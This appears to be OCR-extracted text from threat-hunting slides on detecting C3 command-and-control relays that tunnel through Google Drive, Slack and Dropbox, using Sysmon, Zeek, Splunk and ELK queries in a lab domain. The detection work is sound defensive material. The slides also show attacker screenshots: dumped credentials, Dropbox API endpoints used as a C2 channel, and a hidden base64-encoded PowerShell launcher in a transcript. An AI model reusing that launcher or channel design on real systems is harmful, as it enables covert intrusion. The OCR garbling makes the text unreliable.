functionality, they include the use of Google Drive API. This new feature allows the attackers to use

Google Drive as an alternative Command and Control channel and make hard the detection of
malicious traffic.

hitps://threatpost.com/roguerobin-google-drive-c2/141079/



https://threatpost.com/roguerobin-google-drive-c2/141079/

‘ N Aking Drive - Google Drive N

= O A1 https. /drive.google.com " £ P &

Gateway : guidemgdrive-c2 / 4b744eb72d56c7ed 2
Build 1D 10a NEwW
Start time 2020/10/09 730

Relays
annels
Aking Drive Connecto
Periphera
UR http
Pon

Isang lugar para sa lahat ng file mo Channels

No channels found

Peripherals

No peripherals found

Connectors

No connectors found

Routes

A "
No routes found




C3 CHANNEL — GOOGLE DRIVE (VICTIM)

CSCILIE T ITTTL

:\Users\vagrant\Desktop>.\Relay_x64_f576_dropbox-relay.exe
:\Users\vagrant\Desktop>| \Relay_x64_722a_guidem-gdrive-relay.exe

:\Users\vagrant\Desktop>

File Options View

Processes Performance Users Details Services

Name

[® osquery daemon and shell

D, A it

4

[m9 Relay x64_722a_guidem-gdrive-relay.exe

B Relay_x64_f575_relay-victim.exe
B Relay_x64_f576_dropbox-relay.exe
[®] Runtime Broker
Search
Search Background Task Host
Service Host: DCOM Server Process Launcher (6)

Service Host: Local Service (7)

Fewer details

7 Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

FEHARETAG B MK HE LN

Path

)

‘ C:\Users\vagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
- WSYsemSZairan

CllearciyagrantiDesktop

ivagrant\Desktop

ws\System32\kernel32.dll

ws\System32\KernelBase.dll

ws\System32\apphelp.dll

ws\System32\apphelp.dll

ws\System32\apphelp.dil

ws\System32\apphelp.dll

ws\System32\apphelp.dil

ws\System32\apphelp.dll

ws\System32\apphelp.dil

ws\System32\apphelp.dll

ws\System32\apphelp.dil

ws\System32\apphelp.dil

ws\System32\apphelp.dll

ws\System32\apphelp.dll

ws\System32\apphelp.dll

ws\System32\apphelp.dll
lvagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
vagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
\vagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
lvagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
\vagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
lvagrant\Desktop\Relay_x64_722a_guidem-gdrive-relay.exe
ws\System32\ntdll.dll

jws\System32\ntdildll

jws\System32\ntdildll

ws\System32\ntdll.dll

ws\System32\ntdil.dll

ws\System32\ntdll.dll

v

End task

Result

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

FAST 10 DISALLO...
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

FILE LOCKED WIT...
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
BUFFER OVERFL...
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
BUFFER OVERFL...
SUCCESS
SUCCESS
SUCCESS

Detail A

Parent PID: 4900, !
Thread ID: 3932

Image Base: 0x7fft
Image Base: Ox7ff
Desired Access: E:
Information: Attribt
Image Base: 0x7fft
Image Base: 0x7fft

Desired Access: R
Type: QueryBasiclr

Desired Access: R
Information: Attribu
SyncType: SyncTyg

SyncType: SyncTyg

Image Base: 0x7fft

Desired Access: R
Information: Attribt
Information: Ownel
Information: Ownel

Desired Access: R
Information: Attribu
Information: Ownel
Information: Ownel

events (0.10%) Backed by virtual memory




C3 CHANNEL — GOOGLE DRIVE (ATTACKER)

C @ localhost:

LABS

Gateway Selection

Hostname User Integrity LastCheckin Status Note Template

wef vagr. High / / GruntSMB

itadmin  High 1 46 \ \ GruntSMB

o] & & @ =

guidem-gdri
ve-relay

>_ 0945506b7e (-]

= & ® o
* Domain : windomain.local ww:?fuv
* Password : sV4<YD-."ifzuum@yshulK[<q#Z3[_Yd4#u¥\7c!&I>)=UZ-vq0 XdY¥q¥eZrM@xARStYW'V;uQ[f !&np'V[B][- L5 -
V3/4-Byk"OKR, :* 8+76+qS, uMadut9
ssp :
credman :

Authentication Id : @ ; 999 (90000000:000003e7)
Session : UndefinedLogonType from @
User Name : WEF$

Domain : WINDOMAIN
Logon Server : (null)
Logon Time : 10/8/2020 9:23:08 PM Relays Interfaces Commands
SID : 5-1-5-18 -

msv : Relay ID Build ID

tspkg :

wdigest :

S z—n s ® 2fe06f03393330b0

* Domain

* Password :

kerberos :

* Username :

* Domain

* Password :

ssp :

credman :

® 2a0da13aea064bb5

Result:2




Gateway Selection
Gateways

guide!

Network EDIT CONFIG
BEEVE
Channels
Connectors
Peripherals
URL

Port 52935

Refresh Rate 2 seconds

ﬁ Auto Update (5 ]

; NEW GATEWAY
guiden E— [ ovomw |




C3 CHANNEL — SLACK DETECTION (SYSMON | SPLUNK)

splunk>enterprise

Search Analytics Datasets

New Search

2 of 35 events matched

Reports Alerts

App: Search & Reporting ¥

Dashboards

Administrator ¥ Messages ¥

index=Sysmon EventCable, _time, EventCode, ProcessGuid, Image, Destinationlp, ProcessId, SourcePort

Settings ¥ Activity v Help v Find

Search & Reporting

Save As ¥ Close

1 hour window v

? Smart Mode v

Events Patterns Statistics (2)

100 Per Page ¥ # Format

EventCode
_time ¢

2020-10-08 22:04:43

2020-10-08 21:59:18

Visualization

ProcessGuid <

{DC9861F0-8CF8-5F7F-
4102-000000000B00}

{DC9861F0-8BB4-5F7F-
F701-000000000B00}

Image <

C:\Users\vagrant\Desktop\Relay_x64_f575_relay-
victim.exe

C:\Users\vagrant\Desktop\Rootcon
\Relay_x64_de48_slack-c2.exe

Destinationlp Processld 7 SourcePort

- -
v v

13.228.49.204

13.228.49.204

4

-
v

Sysmon Event ID 3 - Network Connection
Relay_x64_f575_relay-victim.exe suspicious binary having a
network connection towards 13.228.49.204




App: Search & Reporting ¥ Administrator v Messages ¥ Settings ¥ Activity v Help v Find

Search Analytics Datasets Reports Alerts Dashboards Search & Reporting

New Search SaveAsv  Close

index=Sysmon EventCog omputerName=wef* Image!="C:\\Program Files\\osquery\\osqueryd\\osqueryd.exe" Image!="C:\\Program 1 hour window v g
Files\\Google\\C! Application\\chrome.exe" | table , _time, EventCode, Image, ProcessId, QueryName

8 of 759 events matched ? Smart Mode ¥

Events Patterns Statistics (8) Visualization
100 Per Page ¥ ~ Format

_time + EventCode + ~ Image < Processld ¢ ~ QueryName <

2020-10-08 :06: 22 C\Isers\vagrant\Deckiaon\Relay x84 _fR78 relav_victim oxe 3884 wef

2020-10-08 22:04: 22 :\Users\vagrant\Desktop\Relay_x64_f575_relay-victim.exe 3584 slack.com

2020-10-08 21:59: 22 :\Users\vagrant\Desktop\Rootcon\Relay_x64_de48_slack-c2.exe 5536 slack.com

2020-10-08 21:58: 22 :\Windows\System32\svchost.exe 948 dc.windomain.local
2020-10-08 21:48: 22 :\Windows\System32\svchost.exe 1312 storage.googleapis.com
2020-10-08 21:48: 22 :\Windows\System32\1sass.exe 584 dc.windomain.local
2020-10-08 21:43: 22 :\Windows\System32\svchost.exe dc.windomain.local

2020-10-08 21:40: 22 :\Program Files\Velociraptor\Velociraptor.exe wef

Sysmon Event ID 22 - DNS Query
« Relay_x64_f575_relay-victim.exe suspicious binary having a
DNS query towards slack.com




C3 CHANNEL — SLACK DETECTION (ZEEK| SPLUNK)

splunk App: Search & Reporting ¥ Administrator v Messages ¥ Settings ¥ Activity v

Search Analytics Datasets Reports Alerts Dashboards

New Search

index=zeek sourcetype="bro:dns:json" query=*slack* | table, _time, id.orig_h, query, url, trans_id, ts, uid
v 14 events (10/4/20 12:00:00.000 AM to 10/9/20 1:31:12.000 AM)  No Event Sampling v
Events Patterns Statistics (14) Visualization

100 Per Page v # Format Preview v

_time + idorig_h < trans_id ¢ ~ tss 7 uid ¢

2020-10-09 129:09. 192. .38. . 33009 1602206949.787073 CgqXDF2z4wVgA283Hd
2020-10-09 129:09. 192. .38. - g 33009 1602206949.787073 CXCnqtwTedx1AKYF7
2020-10-09 :10:07. 192. .38. . . 42239 1602202207.048207 CgU33U3NGLZD1EuBce
2020-10-09 :10:07. 192. .38. 2 o 42239 1602202207.048207 CRm30B2wK1ig9fKYRc7
2020-10-08 :59:16. 192. .38. . . 17840 1602194356.492901 CV8TYc3GePQTDkQOD7
2020-10-08 :59:16. 192. .38. - - 17840 1602194356.488411 Cg8jVz2jTiWMWNoGB1
2020-10-08 :36:13. 192. .38. . . 33732 1602149773.871959 Ctfs7FKR6VMgHkwz2
2020-10-08 :36:13. 192. .38. - 2 33732 1602149773.871959 CK9b7511NU4jI6zhc
2020-10-08 :01:12. 192. .38. . . 13915 1602144072.084474 CLL1X1ISAfUb93Nm7
2020-10-08 :01:12. 192. .38. o - 13915 1602144072.084474 C4g3HI3pqs3ie1WON2
2020-10-08 :44:06. 192. .38. . . 32964 1602139446.637102 Cyhx@k3cab1mUM6Ujk
2020-10-08 :44:06. 192. Sans 2 o 32964 1602139446.637102 CCJONw3nRxyCyhgMp6

2020-10-08 05:36:58. 192. .38. . 7886 1602135418.065352 CWCROQ1QjnP7ILYiQ6

2020-10-08 05:36:58. 192. .38. - 7886 1602135418.065352 CLVJZLcMQABFxMvNc

BRO DNS
Query = slack.com




nterprise

splunk

Threat Hunting trigger overview

App: ThreatHunting ¥

Drilldowns v

MITRE ATT&CK  snow Fitters

Process Create

Technique +

System
Owner/User
Discovery

System
Owner/User
Discovery

Query Registry

T1063 Security
Software

Discovery

Category

Discovery

Discovery

Discovery

Discovery

Trigger

Stacking Tools v

host_fqdn =

wef.windomain.local

wef.windomain.local

wef.windomain.local

wef.windomain.local

Hunting Tools ¥

user_name <

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
WEF\vagrant

NOT_TRANSLATED
NT
AUTHORITY\SYSTEM

NOT_TRANSLATED
NT
AUTHORITY\SYSTEM

Hunting Indicators v

)

process_parent_path &

C:\Windows\System32
\cmd. exe

C:\Users\vagrant
\Desktop
\Relay_x64_f575_relay-

Whitelist v

victim.exe /
C:\Windows\System32
\cmd. exe

C:\Windows\System32
\cmd. exe

About v

process_path

C:\Windows
\System32
\whoami . exe

C:\Windows
\System32
\cmd. exe

C:\Windows
\System32
\reg.exe

C:\Windows
\System32
\reg.exe

Administrator v

Search

Messages ¥ Settings v

Activity v Help » Find

THRERT HUNTING ¥

Export ¥

original_file_name

whoami . exe

Cmd.Exe

\.

process_parent_command_line

"cmd.exe" /c whoami

.\Relay_x64_f575_relay-
victim.exe

~\
process_command_line <

whoami

"cmd.exe" /c whoami

reg.exe

reg.exe

C:\Windows\system32\cmd. exe
/c C:\Windows\system32
\reg.exe query

hklm\sof tware\microsoft
\windows
\softwareinventorylogging
/v collectionstate /reg:64

C:\Windows\system32\cmd. exe
/c C:\Windows\system32
\reg.exe query

hklm\sof tware\microsoft
\windows
\softwareinventorylogging
/v collectionstate /reg:64

C:\Windows\system32
\reg.exe query
hklm\software\microsoft
\windows
\softwareinventorylogging
/v collectionstate /reg:64

C:\Windows\system32
\reg.exe query
hklm\software\microsoft
\windows
\softwareinventorylogging
/v collectionstate /reg:64

process,

{DC9861
5F7F-5C

{DC9861
4102-00

{DC9861
AF00-00!

{DC9861
AF00-00!

Post Exploitation after running the implant from C3 (Slack Channel)
Discovery — T1033 (System Owner/User Discovery)
cmd.exe /c whoami




Discover GUIDEM_Dropbox

New Save Open Share Inspect

[§) v  “api.dropboxapi.com® Kal © v This week Show dates

©)  event.action: Dns query (rule: DnsQuery) X =+ Add filter

3 hits Reset search
Sep 27, 2020 @ 00:00:00.000 - Oct 3, 2020 @ 23:59:59.999 — Auto

2020-09-28 00:00 2 2 2020-09-29 2020-09-2 2020-09-30 00:01 2020-09-30 12:00 202010 2020-10-0112:00 2020-10-02 00:00 202 2 2020-10-03 00:00

@timestamp per 3 hours
Time dns.question.name event.code process.executable agent.hostname message

Oct 2, 2820 @ 19:55:88.354 api.dropboxapi.com 22 C:\Users\vagrant\Desktop\Relay_x64_ba2e_victim-relay.exe wef Dns query:
RuleName:
UtcTime: 282@-10-82 19:55:08.354
ProcessGuid: {4FA7EC8A-8590-5F77-F485-0€0000800D00}
ProcessId: 5248
QueryName: api.dropboxapi.com
Query us: 1469

Oct 2, 2020 & 19:4 g api.dropboxapi.com C:\Users\vagrant\Desktop\Relay_x64_baZe_victim-relay.exe Dns query:
RuleName :
UtcTime: 2020-190-82 19:48:51.979
ProcessGuid: {4FA7ECBA-841A-5F77-AC85-000002202D0A}
ProcessId: 3416
QueryName: api.dropboxapi.com
QueryStatus: ©

Oct 2, 2020 @ 19:46:42.737 api.dropboxapi.com SR Dns query:
RuleName: -
UtcTime: 202@-10-82 19:46:48.737
ProcessGuid: {4FA7ECBA-839D-5F77-9385-0ed008eeeDoa}
ProcessId: 8664
QueryName: api.dropboxapi.com

\
SYSMON Event ID 22

DNS Query calling api.dropboxapi.exe




App: Search & Reporting ¥ Administrator v Messages v Settings v Activity v Help » Find

Analytics Datasets Reports Alerts Dashboards Search & Reporting

New Search Save As v Close

index=zeek sourcetypef"bro:dns:json" duery=xdropboxx | table, _time, id.orig_h, id.resp_h, query, trans_id All time v g
v 16 events (before 10/9/20 12:50:38.000 AM) No Event Sampling v ? Smart Mode v
Events Patterns Statistics (16) Visualization

100 Per Page v # Format Preview v

_time + id.orig_h % idresp_h ¢ query ¢ trans_id ¢ ~
2020-10-08 :54:45. 192.168.38. 192.168.38. content.dropboxapi. 56410
2020-10-08 :54:45. 192. .38. 192. .38. content.dropboxapi. 56410
2020-10-08 :54:45. 192. .38. 192. .38. content.dropboxapi. 56410
2020-10-08 :54:45. 192. .38. 192. .38. content.dropboxapi. 56410
2020-10-08 :54:44, 192. .38. 192. .38. api.dropboxapi.com 48112
2020-10-08 :54:44, 192. .38. 192. .38. api.dropboxapi.com 48112
2020-10-08 138:22. 192. .38. 192. .38. content.dropboxapi. 57055
2020-10-08 04:38:22. 192. .38. 192. .38. content.dropboxapi. 57055
2020-10-08 :38:22. 192. .38. 192. .38. content.dropboxapi. 57055
2020-10-08 138:22. 192. .38. 192. .38. content.dropboxapi. 57055
2020-10-08 138:21. 192. .38. 192. .38. api.dropboxapi.com 54519
2020-10-08 :38:21. 192. .38. 192. .38. api.dropboxapi.com 54519
2020-10-07 :59:51. 192. .38. 192. .38. content.dropboxapi. 47831
2020-10-07 RETERA 192. .38. 192. .38. content.dropboxapi. 47831

2020-10-07 :59:50. 192. .38. 192. .38. api.dropboxapi.com 15257

2020-10-07 REGRE- 192. .38. 192. .38. api.dropboxapi.com 15257

Zeek Logs = bro.dns.json
DNS Query calling api.dropboxapi.exe, content.dropboxapi.com




C3 CHANNEL — DROPBOX DETECTION (ZEEK| SPLUNK)

splunk >

Search

Events

_time +

2020-10-08
2020-10-08
2020-10-08
2020-10-08
2020-10-07
2020-10-07
2020-10-07
2020-10-07
2020-10-07

2020-10-07

New Search

100 Per Page ¥

App: Search & Reporting ¥

Reports Alerts Dashboards

v 10 events (before 10/9/20 12:54:19.000 AM) No Event Sampling v

Visualization

Preview v

EventCode + ~ ProcessGuid <
{DC9861F0-98B4-5F7F-E203-000000000B00}
{DC9861F0-98B4-5F7F-E203-000000000B00}
{DC9861F0-98B4-5F7F-E203-000000000B00}
{DC9861F0-98B4-5F7F-E203-000000000B00}
{DC9861F0-2C4E-5F7E-5307-000000000900}
{DC9861F0-2C4E-5F7E-5307-0000000009500}
{DC9861F0-2C4E-5F7E-5307-000000000900}
{DC9861F0-2C4E-5F7E-5307-0000000009500}
{DC9861F0-2C4E-5F7E-5307-0000000009500}

{DC9861F0-2C4E-5F7E-5307-000000000900}

index=Sysmon EventCode=3 Image=*dropbox* | table, _time, EventCode, ProcessGuid, Image, DestinationIp, ProcessId, SourcePort

Image <

C:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe
:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe
:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe
:\Users\vagrant\Desktop\Relay_x64_f576_dropbox-relay.exe
:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe
:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe
:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe
:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe
:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe

:\Users\vagrant\Desktop\Relay_x64_f4bc_dropbox.exe

Administrator v Messages ¥ Settings v Activity v Help v Find

Search & Reporting
Save As v Close

All time v

? Smart Mode v

Destinationlp ¢ Processld ¢ ~ SourcePort ¢

162.125.81.14 2168 55192
162. .81.14 2168 55056
162. .81. 2168 54960
162. .81. 2168 54958
162. .81. 5324 52765
162. .81. 5324 52371
162. .81. 5324 51984
162. .81. 5324 51863

162.125.81.14 5324 51421

L 162.125.81.7 / 5324 51417

Sysmon Event ID 3 — Network Connection
Relay_x64_f576_dropbox-relay.exe connecting to external IP




C3 CHANNEL — DROPBOX DETECTION

WriteMessageToFile hitps://content.dropboxapi.com/2/files/upload

ListChannels hitps://api.dropboxapi.com/2/files/list_folder

CreateChannel hitps://api.dropboxapi.com/2/files/create_folder_v2

GetMessageByDirection hitps://api.dropboxapi.com/2/files/search_v?2

ReadFile hitps://content.dropboxapi.com/2/files/download

DeleteFile hitps://api.dropboxapi.com/2/files/delete_v?2

Dropbox URL calls credits to F-secure (C3 workshop)

https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/



https://labs.f-secure.com/blog/attack-detection-fundamentals-c2-and-exfiltration-lab-3/

C3 CHANNEL — UNC DETECTION (SYSMON | ELK)

Discover = GUIDEM_Event ID 10 Injected Process

SYSMON Event ID 10
Process Access — can be indication of thread injection

New Save Open Share Inspect

5) v
@,

event.code:10 AND winlog.event_data.CallTrace : ntdll.dll

CallTrace: ntdll.dll
Attacker was attempting to inject malicious code into a
process and has been using it to beacon out to C2 server

NOT process.name: osqueryd.exe X + Add filter

3,219 hits
Oct 2, 2020 @ 14:57:54.836 - Oct 3, 2

'd \
winlog.evert_data.Targetimage

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

C:\Users\vagrant\Desktop\R
elay_x64_cdc5_share-s.exe

.

winlog.event_data.CallTrace

C:\Windows\SYSTEM32\ntd1l.d11+a7124 |C:\Windows\SYSTEM32\CSRSRY .d11+1a30|C:\Windows\SYSTEM32\CSRSRY .d11+5¢c09 | C:\Windows\SYSTEM32\ntdll.d11+670df

C:\Windows\SYSTEM32\ntd11.d11+a6594 | C:\Windows\System32\KERNELBASE .d11+294@d | ¢ : \windows\system32\pcasvc.d11+5edec | c: \windows\system32\pcasvc.d11+5d46 | ¢ :\windows\system32\pcasve .d11+5d08 | C: \Windows\System3
2\KERNEL32 .DLL+8364 |C:\Windows\SYSTEM32\ntd11.d11+670d1

C:\Windows\SYSTEM32\ntd11.d11+a6594 |C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRY .d11+5645 | C:\Windows\SYSTEM32\ntd11.d11+670df

C:\Windows\SYSTEM32\ntd11.d11+a7864 |C:\Windows\System32\KERNELBASE .d11+3299@ | C: \Windows\System32\KERNELBASE .d11+6e2b3 | C : \Windows\System32\KERNEL32 .DLL+1cf3f | c: \windows\system32\appinfo.d11+2073 | ¢ : \window
s\system32\appinfo.d11+3¢57 | C:\Windows\System32\RPCRT4 .d11+77de3 | C:\Windows\System32\RPCRT4.d11+12¢cc|C:\Windows\System32\RPCRT4.d11+5a194 | C : \Windows\System32\RPCRT4.d11+59@ad | C : \Windows\System32\RPCRT4.d
11+59bfe | C:\Windows\System32\RPCRT4.d11+39927 | C:\Windows\System32\RPCRT4.d11+39f7¢c|C:\Windows\System32\RPCRT4 .d11+5426¢ | C: \Windows\System32\RPCRT4 .d11+55ach | C: \Windows\System32\RPCRT4 .d11+485¢ca | C: \Window
s\SYSTEM32\ntd11.d11+32bbe | C: \Windows\SYSTEM32\ntd11.d11+33699 | C:\Windows\System32\KERNEL32.DLL+8364 |C:\Windows\SYSTEM32\ntd11.d11+670d1

C:\Windows\SYSTEM32\ntd11.d11+a6594 |C:\Windows\system32\basesrv.DLL+2f47 | C:\Windows\SYSTEM32\CSRSRY .d11+5645 | C :\Windows\SYSTEM32\ntd11.d11+67@df

C:\Windows\SYSTEM32\ntd11.d11+a7864 |C:\Windows\System32\KERNELBASE .d11+32998 | C : \Windows\System32\KERNELBASE . d11+6a446 | C : \Windows\System32\KERNEL32 .DLL+1bf13 | C: \Windows\System32\windows .storage .d11+1@ Cl (1
|C:\Windows\System32\windows . storage .d11+100097 | C :\Windows\System32\windows .storage .d11+ffd76 | C: \Windows\System32\windows.storage.d11+100f70 |C: \Windows\System32\windows . storage .d11+1017ae | C: \Windows\Syst
em32\windows .storage.d11+10288b | C:\Windows\System32\windows .storage .d11+102bc4 | C:\Windows\System32\windows . storage .d11+102310 | C:\Windows\System32\SHELL32 .d11+9e61f | C:\Windows\System32\SHELL32.d11+9e4ac
C:\Windows\System32\SHELL32 .d11+9e1fc|C:\Windows\System32\SHELL32 .d11+362e7 | C:\Windows\System32\SHELL32 .d11+36245|C:\Windows\system32\pcwutl.d11+1f83 | C:\Windows\system32\rund1132 .exe+3b@c |C:\Windows\syst
em32\rund1132 . exe+6017 | C: \Windows\System32\KERNEL32 .DLL+8364|C:\Windows\SYSTEM32\ntd11.d11+670d1

C:\Windows\SYSTEM32\ntd11.d11+a6594 |C:\Windows\system32\basesrv.DLL+2F47|C:\Windows\SYSTEM32\CSRSRY .d11+5645 | C:\Windows\SYSTEM32\ntd11.d11+670df

C:\Windows\SYSTEM32\ntd11.d11+a7864 |C:\Windows\System32\KERNELBASE .d11+3299@ | C: \Windows\System32\KERNELBASE . d11+6a446 | C : \Windows\System32\KERNEL32 .DLL+1bf 13 | C: \Windows\System32\windows . storage .d11+1003bb
|C:\Windows\System32\windows . storage .d11+100097 | C :\Windows\System32\windows . storage .d11+ffd76 | C: \Windows\System32\windows.storage .d11+100f70 |C: \Windows\System32\windows . storage .d11+1017ae | C: \Windows\Syst
em32\windows .storage.d11+10288b | C:\Windows\System32\windows .storage .d11+102bc4 | C:\Windows\System32\windows . storage .d11+102310 | C: \Windows\System32\SHELL32 .d11+9e61f | C: \Windows\System32\SHELL32.d11+9¢edac|
C:\Windows\System32\SHELL32 .d11+9e1fc|C:\Windows\System32\SHELL32 .d11+362e7 | C:\Windows\System32\SHELL32 .d11+36245|C:\Windows\system32\pcwutl.d11+1f83 |C:\Windows\system32\rund1132.exe+3b0c|C:\Windows\syst
em32\rund1132 . exe+6017 | C: \Windows\System32\KERNEL32 .DLL+8364|C :\Windows\SYSTEM32\ntd11.d11+670d1




HOST ARTIFACTS DETECTION — PS TRANSCRIPTS

Home Share View

1+ > This PC > Windows (C:) > PS-Transcripts > 20201009

Name Date modified Type
s Quick access
[ Desktop
& Downloads

7 PowerShell_transcriptws01.53260yG8.20201009004337 - Notepad

P Shell | pt.uvs01.53260yG8.. 7 10/9/20201 A  Text Document
| PowerShell_transcript.aws01.h44t8n +0.20201009000929 f 2 Text Document
D, hell 1OVEIYTL 20201 0NGNA / 112.42 A TaoR DT

File Edit Format View Help

KK KK K KKK KK KK KK K KK K K

Windows PowerShell transcript start

Start time: 20201009004338

Username: LABS\itadmin

RunAs User: LABS\itadmin

Machine: ws@l (Microsoft Windows NT 10.0.14393.0)

Host Application: C:\windows\System32\WindowsPowerShell\vl.@\powershell.exe -Win Hidden -enc

SQBmACgAIABQAFMAYgBLAFI AUwBpAE 8AbgBUAEE AY gBMAE UALgBQAFMAYEBLAHI AUwBI AG8AbgAuAE BAQQBqAE 8AUgAgACEARWBLACAAMYAp AHs AJAA2ADgANgA2ADOAWWB Y AE UAR gBAACAAQQBZ AHMAZQBNAE T AT ABS AC4ARWB FAHQAVABS AFAAZQACACCAUWBS AHMAJABL AGOALgBNAGE AbgB
hAGCAZQBtAGUAbgBOACAAQQB LAHQAbWBt AGE AdABpAGEAbgAUAFUAdABP AGwACWANACK ALgAL AE c ARQBOAE Y ASQBLAGAAT ABE ACI AK AAnAGMAY QB AGEAZQBK AE cAcgBvAHUACABQAGE A ABp AGMAQBT AGUAdABBAGK AbgBnAHMAJWAS ACCATgANACs AJwBvAGAAUAB LAGI AbABpAGMALABT AH
QAYQBOAGK AYwANACK AQWBI AGY AK AAk ADY AOAA2 ADY AKQB7 ACQAM)BmAGUANWASACQAN A4 ADY ANgAUAE c AZQBOAFY AQQBMAFUARQACACQAT gBYAGWAb ABpADs ASQBGACEA] AAXAE Y AZQA3AFs AJwBT AGMACgBp AHAAJABC ACC AKwANAGWAbwB ] AGs AT ABvAGC AZwBpAGA AZwAnAFBAKQB7 ACQAM
QBGAE UANwBbACcAUwBjAHI AaQBwAHQAQEANACS AJwBs AGEAYwWBr AEwAbwBNAGC AaQBUAGCAJwBdAFs AJwBFAGAAY(QB1AGWAZQBT AGMACgBp AHAAJABCACCAKWAN AGWAbWB j AGs AT ABvAGC AZwBp AGA AZwAnAFOAPQAWADSs A AAXAE Y AZQA3AFs AwBT AGMACgBp AHAAJABCACCAKWAN AGWAbWB ]
AGs AT ABvAGC AZwBpAG4 AZwAnAF @Ay AnAE UAbgBhAGT AbAB1 AFMAY1WBYAGK Ac ABBAE I AbABvAGMAaWB] AGAAdgBvAGMAYQBBAGK AbwBuAEWAbWBNAGC AaQBUAGC AJWBdADBAMABS ACQAYEZBBAGWAPQBb AE MATWBMAEWARQBDAFQAQBVAGA AUwAUAE c AZQBOAE UACgBp AGMALgBE AGK AYwBUAGK
AbwBOAEE AUgBZAFs AcwBUAFI ASQBOAGCALABT AHk AcwBUAE UATQAUAE 8 AQgBK AE UAQwBUAFOAXQAGADOAT gBFAHC AK AAp ADs AJAB2 AGE AbAAUAEE ARABKACgAIWB FAGAAY(QBL AGWAZQBT AGMAC gBp AHAAJABCAC c AKWwANAGW AbwB j AGs AT ABvAGCAZwBp AGAAZWANACWAMAAP ADs A ABWAEE AT A
AUAEE ARABE ACgAJwB FAGAAY(QB1 AGWAZQBT AGMACEBp AHAAdABC AGwAbwBj AGs ASQBUAHY AbwBj AGE AdABpAGEB AbgBMAGBAZWBNAGK AbgBnACCALAAWACK AQwAK ADE AR gB1 ADC Avw AnAE gASwB F AFk AXiwBMAE 8 AQwBBAEWAXwBNAE E AQuBI AEKAT gBFAFWAUWBVAGY AdAB3AGE AcgB1 AFWAUABVA
GwAaQBj AGKAZQBz AFWATQBp AGMACgBvAHMADbWBMAHQAXABXAGk AbgBk AGE8 AdwBz AFwAUABVAHCAZQBYAFMAaABL AGw AbABCAFMAYWBYAGK Ac ABOAE T AJwAr ACcAbABVAGMAawWBMAGE AZwBnAGKk AbgBnACCAXQASACQAdgBBAEWATQBFAGWAUWB FAHs AwtwBT AEMAUgBp AHAAVABCAEWAbWBDAE s A
XQAUACI ARwB1AHQAR2BJAEUAY ABMAGQAT gAoACcAcwBpAGc AbgBhAHQAQBYAGUACWANACWATWBOAC cAKwANAGE AbgBQAHUAY gBs AGK AYwAs AFMAJABhAHQAaQB J ACC AKQAUAFMARQBUAFY AQQBMAFUARQACACQAT gBVAEWAT AAs ACgAT gBFAHCALQBPAGI AagBFAGMAYAAZAE MATWBMAEWAZQB
DAHQAaQBVAGA AcwAuAE cAZQBUAE UAUEBp AGMALgBI AGE AcwBoAFMAZQBUAFs AcwBOAFI ASQBUAGCAXQAPACKAfQAKAFI AZQBmADOAWMYBS AGUAR gBAACAAQQBZ AHMARQBL AE I AT ABS AC4ARWB FAFQAVABS AHAARQAOCACcAUWBS AHMAJABL AGEAL gBNAGE AbgBhAGCAZQBtAGUAbgBOACAAQOB LAH
QAbwBtAGE AdABpAGEAbgAUAEE AbQBZAGKATwAr ACCAV)BOAGK AbABzACCAKQA7 ACQAUEBFAEY ALgBHAGUAdABGAGK AZQBs AEQAK AANAGE AbQBzAGK ASQBUAGK AdABGAC CAKWwANAGE AaQBs AGUAZAANACwATWBOAGE AbgBQAHUAY gBs AGK AYwAs AFMAdABhAHQAaQB ACCAKQAUAFMAZOBOAFY AY
QBMAHUARQAoAcQAbgB meAbAAs ACQAVAByAFUARQApADs AfQA?AFsAUwBZAHMAdABLﬂG0/-\LgBOﬂGUAdAAuAFMARQBSAFYASQB]AEUAUAEPAE kATgEUAE eAVQBuAE EAZwBFAHIAXQAGADOARQB4AHAAZQBJAHQAWQMADAﬂQwBPL\EdAVABJAEAAdQB].ADGAMAA?ACQA\MBj ADGATgBLAFcALQBP

3 PowevShell_transcnpt.w301‘53260;/68,20201009004337 - Notepad
File Edit Format View Help

AIAAKAFIAIAAKAEQAQQBUAGE AT AACACQASQBWACS AJABLACKAKQBSAEKARQBY AA==
Process ID: 5640

PSVersion: 5.1.14393.3866

PSEdition: Desktop

PSCompatibleVersions: 1.0, 2.0, 3.9, 4.9, 5.0, 5.1.14393.3866
BuildVersion: 10.0.14393.3866

CLRVersion: 4.0.30319.42000

WSManStackYersion: 3.0

PSRemotingProtocolVersion: 2.3

SerializationVersion: 1.1.0.1
K KK KK KK K KK KK K KK K K K Kk

KKK KRR R K KKK KRR R K K

Command start time: 26201009084338

